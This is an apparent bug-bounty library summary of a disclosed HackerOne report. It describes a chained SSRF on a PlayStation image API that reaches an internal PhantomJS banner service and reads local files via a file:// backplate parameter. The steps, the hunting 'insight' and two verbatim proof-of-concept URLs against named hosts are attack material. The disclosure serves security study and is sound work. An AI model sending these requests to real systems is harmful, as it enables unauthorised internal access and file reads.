# SSRF chained to hit internal host leading to another SSRF which allows to read internal images.

Image-conversion SSRF on image.api.np.km.playstation.net reached an internal PhantomJS banner service whose backplate param allowed file:// reads of local images.

- Payout: $1,000
- Severity: high
- Program: PlayStation
- Found by: bugdiscloseguys
- Disclosed: 2021-03-30
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/826097
- Library page: https://bugbountylibrary.com/r/h1%3A826097
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high tech:rest technique:chained technique:recon vuln:ssrf

**Target:** image.api.np.km.playstation.net /images and /dis/images endpoints (image GET param)
**Root cause:** The image-fetch endpoint follows arbitrary URLs server-side without restricting internal hosts, and the internal dis.api banner renderer accepts a backplate URL that supports the file:// scheme.
**Steps:**
1. Confirm SSRF: request `https://image.api.np.km.playstation.net/images/?format=png&image=https%3a//store.mgmt.playstation.com/store/api/chihiro/.../image?...` and observe internal 403-only image is fetched.
2. Identify internal host `dis.api.np.playstation.net/dis/v1/banners` which renders a backplate image via PhantomJS.
3. Chain: request `https://image.api.np.km.playstation.net/dis/images/?format=png&image=https%3A%2F%2Fdis.api.np.playstation.net%2Fdis%2Fv1%2Fbanners%3Fbackplate%3Dfile:////usr/share/pixmaps/system-logo-white.png%26...%26output%3Dsvg...`.
4. Outer SSRF fetches the internal banner URL; inner service loads `file:////usr/share/pixmaps/system-logo-white.png` and returns it rendered as an image.
**How found:** Noticed the image endpoint fetched remote images and could reach internal mgmt hosts; then found an internal banner-rendering service and tested whether its backplate parameter accepted the file:// scheme.
**Exploitation:** Outer image endpoint acts as a proxy to reach the internal dis.api banner service; the banner service's backplate parameter is set to a file:// URL, causing PhantomJS to read a local file and embed it in the returned image, which the outer endpoint then serves back to the attacker.
**Escalation:** Chained two SSRF sinks (external image proxy -> internal PhantomJS renderer) to upgrade a blind internal-host fetch into arbitrary local file read via file://.
**Insight:** When an image proxy only returns valid images, hunt for a second internal image-rendering service (e.g. PhantomJS/headless banner generators) whose URL parameter accepts file:// — chaining the two turns a blind SSRF into local file read.

## Proof of concept (copied exactly from the original report)

**Chained SSRF reading local file via file://**

```
https://image.api.np.km.playstation.net/dis/images/?format=png&image=https%3A%2F%2Fdis.api.np.playstation.net%2Fdis%2Fv1%2Fbanners%3Fbackplate%3Dfile:////usr/share/pixmaps/system-logo-white.png%26dimensions%3D790x250%26price%3D%2436.99%26price_discount%3D%2424.41%26format%5B%5D%3DPS4%26type%3DF%22%3e%3c%73%3eull+Game%26locale%3Den_CA%26cta%3DDownload+No%26output%3Dsvg%26tpl%3Dbanner-web-store%26store%3Dgame%26region%3Dus%26
```

**SSRF request to internal mgmt host image**

```
https://image.api.np.km.playstation.net/images/?format=png&image=https%3a//store.mgmt.playstation.com/store/api/chihiro/00_09_000/container/US/en/999/UP4134-CUSA00329_00-ONNTGAME00000001/1429722215000/image%3f_version%3d00_09_000%26platform%3dchihiro%26w%3d225%26h%3d225%26bg_color%3d000000%26opacity%3d100
```

